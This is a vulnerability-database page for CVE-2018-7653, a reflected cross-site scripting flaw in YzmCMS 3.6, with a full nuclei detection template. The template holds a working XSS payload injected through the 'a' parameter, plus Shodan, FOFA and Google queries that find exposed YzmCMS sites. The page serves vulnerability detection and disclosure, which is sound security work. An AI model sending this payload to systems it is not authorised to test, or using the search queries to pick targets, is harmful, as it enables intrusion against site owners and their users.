CVE-2018-7653· yzmcms / yzmcms· CWE-79
YzmCMS v3.6 - Cross-Site Scripting
mediumseverity
6.1CVSS score
7.9%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it
In YzmCMS 3.6, index.php has XSS via the a, c, or m parameter.
Impact
Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of authenticated users.
Fix
To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
How to confirm it
Send: GET {{BaseURL}}/index.php?m=search&c=index&a=initxqb4n<img%20src%3da%20onerror%3dalert(document.domain)>cu9rs&modelid=1&q=tes
Positive when: contains "<img src=a onerror=alert(document.domain)>" and "YzmCMS" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2018-7653 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2018-7653
info:
name: YzmCMS v3.6 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: In YzmCMS 3.6, index.php has XSS via the a, c, or m parameter.
impact: |
Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of authenticated users.
remediation: |
To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
reference:
- https://packetstormsecurity.com/files/147065/YzmCMS-3.6-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2018-7653
- https://github.com/ponyma233/YzmCMS/blob/master/YzmCMS_3.6_bug.md
- https://github.com/anquanquantao/iwantacve
- https://github.com/5ecurity/CVE-List
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-7653
cwe-id: CWE-79
epss-score: 0.07854
epss-percentile: 0.94737
cpe: cpe:2.3:a:yzmcms:yzmcms:3.6:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: yzmcms
product: yzmcms
shodan-query:
- title:"YzmCMS"
- http.title:"yzmcms"
fofa-query:
- title="YzmCMS"
- title="yzmcms"
google-query: intitle:"yzmcms"
tags: cve,cve2018,packetstorm,yzmcms,cms,xss,vuln
http:
- method: GET
path:
- '{{BaseURL}}/index.php?m=search&c=index&a=initxqb4n<img%20src%3da%20onerror%3dalert(document.domain)>cu9rs&modelid=1&q=tes'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src=a onerror=alert(document.domain)>'
- 'YzmCMS'
condition: and
case-insensitive: true
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://packetstormsecurity.com/files/147065/YzmCMS-3.6-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2018-7653
- https://github.com/ponyma233/YzmCMS/blob/master/YzmCMS_3.6_bug.md
- https://github.com/anquanquantao/iwantacve
- https://github.com/5ecurity/CVE-List
Use this check only on systems you are authorised to test. Where the data comes from